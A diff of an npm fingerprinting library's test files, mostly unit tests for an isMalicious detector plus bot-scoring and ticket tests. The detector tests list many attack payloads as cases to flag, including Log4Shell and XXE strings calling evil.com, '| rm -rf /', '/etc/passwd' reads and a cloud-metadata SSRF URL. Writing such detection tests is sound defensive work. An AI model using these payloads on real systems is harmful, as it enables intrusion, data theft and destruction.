@anonympins/fingerprint 0.4.6 → 0.5.1

package/src/js/tests/fingerprint.isMalicious.test.js

@@ -1,117 +1,235 @@
-import {describe, expect, it} from 'vitest';
-import {isMalicious} from '../fingerprint.js';
-
-// We import the function directly to test it in isolation, avoiding vite:define errors.
-
-describe('isMalicious Unit Tests', () => {
-
-    describe('SQL and NoSQL Injections', () => {
-        it.each([
-            ["' OR '1'='1'"],
-            ["' or '1'='1' --"],
-            ["UNION SELECT username, password FROM users"],
-            ["; DROP TABLE products;--"],
-            ["SLEEP(5)"],
-            ["BENCHMARK(10000,MD5('a'))"],
-            ["WAITFOR DELAY '0:0:5'"],
-            ['{"$ne": null}'],
-        ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal comment -- for a blog post."],
-            ["Please select your union representative."],
-            ["The price is not equal to $10."],
-            ["My favorite song is 'Stairway to Heaven'."],
-        ])('should NOT detect legitimate string: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Log4Shell (JNDI Injection)', () => {
-        it.each([
-            ["${jndi:ldap://evil.com/a}"],
-            ["${jndi:rmi://evil.com/a}"],
-            ["${jndi:dns://evil.com/a}"],
-            ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
-        ])('should detect Log4Shell pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["The variable is ${user.name}"],
-            ["This is a normal log message."],
-        ])('should NOT detect legitimate log message: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Server-Side Template Injection (SSTI)', () => {
-        it.each([
-            ["{{ 7*7 }}"],
-            ["{% if user.isAdmin %}{% endif %}"],
-            ["Hello {{user.name}}"], // Potentially risky
-        ])('should detect SSTI pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal string with {curly braces}"],
-            ["(100%)"],
-        ])('should NOT detect legitimate string with braces: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('XML External Entity (XXE)', () => {
-        it.each([
-            ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
-            ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
-        ])('should detect XXE pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["<!DOCTYPE html>"],
-            ["<note><to>Tove</to></note>"],
-        ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Path Traversal', () => {
-        it.each([
-            ["../../../../etc/passwd"],
-            ["..\\..\\..\\..\\windows\\system32\\config.sam"],
-        ])('should detect Path Traversal pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["path/to/a/legitimate/file.txt"],
-            ["Just two dots.. not a traversal."],
-        ])('should NOT detect legitimate path: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Command Injection', () => {
-        it.each([
-            ["/path/to/script.sh; ls -la "],
-            ["127.0.0.1 && whoami "],
-            ["`reboot`"],
-            ["filename.txt\ncat /etc/passwd "],
-            [" | rm -rf /"], // Pipe before a dangerous command
-        ])('should detect Command Injection pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal command like ls -la /tmp"],
-            ["Use the pipe | for output redirection."],
-        ])('should NOT detect legitimate command-like string: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
-        });
-    });
+import {describe, expect, it} from 'vitest';
+import {isMalicious} from '../fingerprint.js';
+
+// We import the function directly to test it in isolation, avoiding vite:define errors.
+
+describe('isMalicious Unit Tests', () => {
+
+    describe('SQL and NoSQL Injections', () => {
+        it.each([
+            ["' OR '1'='1'"],
+            ["' or '1'='1' --"],
+            ["UNION SELECT username, password FROM users"],
+            ["; DROP TABLE products;--"],
+            ["SLEEP(5)"],
+            ["BENCHMARK(10000,MD5('a'))"],
+            ["WAITFOR DELAY '0:0:5'"],
+            ['{"$ne": null}'],
+        ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal comment -- for a blog post."],
+            ["Please select your union representative."],
+            ["The price is not equal to $10."],
+            ["My favorite song is 'Stairway to Heaven'."],
+        ])('should NOT detect legitimate string: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Log4Shell (JNDI Injection)', () => {
+        it.each([
+            ["${jndi:ldap://evil.com/a}"],
+            ["${jndi:rmi://evil.com/a}"],
+            ["${jndi:dns://evil.com/a}"],
+            ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
+        ])('should detect Log4Shell pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["The variable is ${user.name}"],
+            ["This is a normal log message."],
+        ])('should NOT detect legitimate log message: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Server-Side Template Injection (SSTI)', () => {
+        it.each([
+            ["{{ 7*7 }}"],
+            ["{% if user.isAdmin %}{% endif %}"],
+            ["Hello {{user.name}}"], // Potentially risky
+        ])('should detect SSTI pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal string with {curly braces}"],
+            ["(100%)"],
+        ])('should NOT detect legitimate string with braces: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('XML External Entity (XXE)', () => {
+        it.each([
+            ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
+            ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
+        ])('should detect XXE pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["<!DOCTYPE html>"],
+            ["<note><to>Tove</to></note>"],
+        ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Path Traversal', () => {
+        it.each([
+            ["../../../../etc/passwd"],
+            ["..\\..\\..\\..\\windows\\system32\\config.sam"],
+        ])('should detect Path Traversal pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["path/to/a/legitimate/file.txt"],
+            ["Just two dots.. not a traversal."],
+        ])('should NOT detect legitimate path: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Command Injection', () => {
+        it.each([
+            ["/path/to/script.sh; ls -la "],
+            ["127.0.0.1 && whoami "],
+            ["`reboot`"],
+            ["filename.txt\ncat /etc/passwd "],
+            [" | rm -rf /"], // Pipe before a dangerous command
+        ])('should detect Command Injection pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal command like ls -la /tmp"],
+            ["Use the pipe | for output redirection."],
+        ])('should NOT detect legitimate command-like string: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
+        });
+    });
+
+    describe('Server-Side Request Forgery (SSRF)', () => {
+        it.each([
+            ["http://127.0.0.1/admin"],
+            ["https://localhost:8080"],
+            ["http://169.254.169.254/latest/meta-data/"],
+            ["http://[::1]/"],
+        ])('should detect SSRF pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["https://google.com"],
+            ["https://github.com/login"],
+        ])('should NOT detect legitimate external URL: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('CRLF Injection', () => {
+        it.each([
+            ["malicious\r\nSet-Cookie: session=evil"],
+            ["%0d%0aSet-Cookie: session=evil"],
+        ])('should detect CRLF pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["normal text without carriage returns"],
+        ])('should NOT detect normal text: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Cross-Site Scripting (XSS)', () => {
+        it.each([
+            ["<script>alert(1)</script>"],
+            ["javascript:alert(1)"],
+            ["<img src=x onerror=alert(1)>"],
+            ["<iframe src=javascript:alert(1)>"],
+        ])('should detect XSS pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["This is a normal paragraph with some <b>bold</b> text."],
+        ])('should NOT detect clean HTML/text: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Open Redirect', () => {
+        it.each([
+            ["https://evil.com"],
+            ["http://malicious-site.org/redirect"],
+            ["//attacker.com"],
+        ])('should detect Open Redirect pattern: %s', (payload) => {
+            expect(isMalicious(payload, ['openRedirect'])).toBe(true);
+        });
+
+        it.each([
+            ["/local/path/to/page"],
+            ["http://localhost/dashboard"],
+            ["http://127.0.0.1:3000/profile"],
+        ])('should NOT detect local redirect path: %s', (payload) => {
+            expect(isMalicious(payload, ['openRedirect'])).toBe(false);
+        });
+    });
+
+    describe('Local/Remote File Inclusion (LFI/RFI)', () => {
+        it.each([
+            ["etc/passwd"],
+            ["win.ini"],
+            ["php://filter/read=convert.base64-encode/resource=index.php"],
+            ["data://text/plain;base64,SSBsb3ZlIFBIUAo="],
+        ])('should detect LFI/RFI pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["/var/www/html/index.php"],
+            ["My computer runs windows, yours runs linux."],
+        ])('should NOT detect normal filenames or terms: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Shellshock (CVE-2014-6271)', () => {
+        it.each([
+            ["() { :; }; echo 'Vulnerable'"],
+            ["() { :;}; /bin/bash"],
+        ])('should detect Shellshock pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["function test() { echo 'Not Shellshock'; }"],
+        ])('should NOT detect normal functions: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('NoSQL MongoDB Operator Injection', () => {
+        it.each([
+            ["$gt"],
+            ["$elemMatch"],
+            ["$where"],
+        ])('should detect NoSQL pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["This costs $100 dollars"],
+            ["No operators here"],
+        ])('should NOT detect normal dollar signs: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
 });

package/src/js/tests/fingerprint.test.js

@@ -1,5 +1,5 @@
 import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
-import {createHash, createHmac} from 'node:crypto';
+import {createHash, createHmac, generateKeyPairSync} from 'node:crypto';
 import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
 import {readFileSync} from 'node:fs';
 import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
@@ -33,6 +33,7 @@ const {
     getCompositeDeviceHash,
 } = fingerprint;
 const { store, getRequestPatternScore, getDeviceHash } = __internal;
+const { getRenderingAnomalyScore } = __internal;
 let { getBehaviorScore, getClickVarianceScore } = __internal;
 // Mock the entire dns module
 vi.mock('node:dns/promises');
@@ -1092,6 +1093,63 @@ describe('Fingerprint & PoW Security Suite', () => {
             stopThresholdAutoTuning(); // Ensure cleanup after each test
         });
 
+    test('should prune traffic data based on time, size, clearAfterTuning and invoke onCleanup', async () => {
+        const trafficData = [
+            { type: 'challenge_solved', timestamp: Date.now() - 10000 }, // 10s old
+            { type: 'challenge_solved', timestamp: Date.now() - 5000 },  // 5s old
+            { type: 'challenge_solved', timestamp: Date.now() }          // fresh
+        ];
+
+        const securityConfig = {
+            thresholds: { low: 20, medium: 45, high: 75, block: 95 },
+            weights: { historyScore: 1 },
+            patterns: {}
+        };
+
+        const cleanedLogs = [];
+        const onCleanup = (removed) => {
+            cleanedLogs.push(...removed);
+        };
+
+        // Test 1: Time-based pruning (older than 8 seconds)
+        __internal.pruneTrafficData(trafficData, 10, 8000, onCleanup);
+
+        expect(trafficData.length).toBe(2);
+        expect(cleanedLogs.length).toBe(1);
+        expect(cleanedLogs[0].timestamp).toBeLessThan(Date.now() - 8000);
+
+        // Test 2: Size-based pruning (max size = 1)
+        __internal.pruneTrafficData(trafficData, 1, 0, onCleanup);
+        expect(trafficData.length).toBe(1);
+        expect(cleanedLogs.length).toBe(2);
+
+        // Test 3: Clear after tuning
+        const autoTuningTraffic = [];
+        for (let i = 0; i < 110; i++) {
+            autoTuningTraffic.push({ type: 'challenge_solved', timestamp: Date.now(), deviceId: `dev-solved-${i}` });
+            autoTuningTraffic.push({ type: 'request_passed', timestamp: Date.now(), deviceId: `dev-passed-${i}` });
+        }
+
+        const tuningCleaned = [];
+        startThresholdAutoTuning({
+            securityConfig,
+            trafficData: autoTuningTraffic,
+            interval: 10000,
+            minDataPoints: 100,
+            maxDataPoints: 500,
+            clearAfterTuning: true,
+            onCleanup: (removed) => tuningCleaned.push(...removed)
+        });
+
+        const intervalCallback = setIntervalSpy.mock.calls[0][0];
+        intervalCallback();
+
+        expect(autoTuningTraffic.length).toBe(0);
+        expect(tuningCleaned.length).toBeGreaterThan(0);
+
+        stopThresholdAutoTuning();
+    });
+
         test('should start, run an optimization cycle, and update thresholds', () => {
             const trafficData = [];
             const securityConfig = {
@@ -1435,6 +1493,50 @@ describe('Fingerprint & PoW Security Suite', () => {
         });
     });
 
+    describe('getRenderingAnomalyScore', () => {
+        it('should return 0 if rendering metrics are missing', () => {
+            const context = { headers: {} };
+            const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
+            expect(renderingAnomalyScore).toBe(0);
+        });
+
+        it('should return 100 if offscreen canvas spoofing is detected', () => {
+            const context = {
+                headers: {
+                    'x-behavior-metrics': JSON.stringify({
+                        rendering: { fps: 60, jitter: 0.1, offscreenAnom: true }
+                    })
+                }
+            };
+            const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
+            expect(renderingAnomalyScore).toBe(100);
+        });
+
+        it('should return a high score if jitter is very high', () => {
+            const context = {
+                headers: {
+                    'x-behavior-metrics': JSON.stringify({
+                        rendering: { fps: 60, jitter: 12.5, offscreenAnom: false }
+                    })
+                }
+            };
+            const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
+            expect(renderingAnomalyScore).toBe(65); // (12.5 - 6.0) * 10 = 65
+        });
+
+        it('should return a high score if FPS is abnormal', () => {
+            const context = {
+                headers: {
+                    'x-behavior-metrics': JSON.stringify({
+                        rendering: { fps: 300, jitter: 1.0, offscreenAnom: false }
+                    })
+                }
+            };
+            const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
+            expect(renderingAnomalyScore).toBe(50);
+        });
+    });
+
     describe('getBehaviorScore', () => {
         // La fonction est privée, on la récupère via l'export __internal
         // FIX: Correctly assign the function before tests run.
@@ -1485,6 +1587,24 @@ describe('Fingerprint & PoW Security Suite', () => {
         });
     });
 
+    it('should return a high score for keystroke dynamics with very low dwell/flight variance (bot emulation)', () => {
+        const metrics = {
+            honeypotInteraction: false,
+            keystrokeLatency: 100.0,
+            keystrokeDwellTimes: [50, 50, 50, 50, 50], // stdDev = 0
+            keystrokeFlightTimes: [
+                { digraph: 'ab', time: 100 },
+                { digraph: 'bc', time: 100 },
+                { digraph: 'cd', time: 100 },
+                { digraph: 'de', time: 100 },
+                { digraph: 'ef', time: 100 }
+            ] // stdDev = 0
+        };
+        const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+        const { behaviorScore } = getBehaviorScore(context);
+        expect(behaviorScore).toBeGreaterThanOrEqual(70); // 35 (stdDevDwell) + 35 (stdDevFlight) = 70
+    });
+
     describe('getClickVarianceScore', () => {
         // FIX: Correctly assign the function before tests run.
         beforeEach(() => {
@@ -2426,6 +2546,80 @@ describe('Additional Suspicion Vectors Coverage', () => {
     });
 });
 
+describe('Ed25519 Asymmetric Tickets', () => {
+    const { privateKey, publicKey } = generateKeyPairSync('ed25519', {
+        privateKeyEncoding: { format: 'pem', type: 'pkcs8' },
+        publicKeyEncoding: { format: 'pem', type: 'spki' }
+    });
+    const privateKeyPem = privateKey;
+    const publicKeyPem = publicKey;
+
+    beforeEach(() => {
+        process.env.ED25519_PRIVATE_KEY = privateKeyPem;
+        process.env.ED25519_PUBLIC_KEY = publicKeyPem;
+    });
+
+    afterEach(() => {
+        delete process.env.ED25519_PRIVATE_KEY;
+        delete process.env.ED25519_PUBLIC_KEY;
+    });
+
+    it('should generate and validate an Ed25519 ticket successfully', async () => {
+        const payload = {
+            expiry: Date.now() + 3600000,
+            originalIp: '127.0.0.1',
+            deviceId: 'device-123',
+            deviceHash: 'hash-abc'
+        };
+
+        const ticket = fingerprint.generateStatelessTicket(payload);
+        expect(ticket).toBeDefined();
+        expect(ticket.startsWith('ed25519.')).toBe(true);
+
+        const isValid = await fingerprint.isTicketValid('127.0.0.1', ticket, 'device-123', 'hash-abc');
+        expect(isValid).toBe(true);
+
+        const isDiffIpValid = await fingerprint.isTicketValid('192.168.1.1', ticket, 'device-123', 'hash-abc', false);
+        expect(isDiffIpValid).toBe(false);
+    });
+
+    test('Cooperative PoSpace Workflow', async () => {
+        const clientIp = '127.0.0.1';
+        const nodeIdA = 'node-a';
+        const seedA = 'seed-a';
+
+        // 1. Enregistrement du nœud A (pair)
+        await __internal.registerCooperativeNode(clientIp, nodeIdA, seedA);
+
+        // 2. Recherche de pair pour le nœud B (dans le même sous-réseau)
+        const peer = await __internal.findPeerInSubnet(clientIp, 'node-b');
+        expect(peer).not.toBeNull();
+        expect(peer.nodeId).toBe(nodeIdA);
+        expect(peer.seed).toBe(seedA);
+
+        // 3. Demande de bloc du nœud B vers le nœud A
+        const paramsReq = {
+            coop_op: 'request_peer_block',
+            node_id: 'node-b',
+            peer_id: 'node-a',
+            block_idx: '42',
+            req_id: 'req-123'
+        };
+        const resReq = await __internal.handleCooperativeRequest(paramsReq, clientIp);
+        expect(resReq.status).toBe('queued');
+
+        // 4. Récupération de la demande par le nœud A
+        const paramsPoll = {
+            coop_op: 'poll_requests',
+            node_id: 'node-a'
+        };
+        const resPoll = await __internal.handleCooperativeRequest(paramsPoll, clientIp);
+        expect(resPoll.requests.length).toBe(1);
+        expect(resPoll.requests[0].req_id).toBe('req-123');
+        expect(resPoll.requests[0].block_idx).toBe(42);
+    });
+});
+
 describe('Botnet Cluster Scoring (Node.js)', () => {
     const inMemoryStore = {
         _map: new Map(),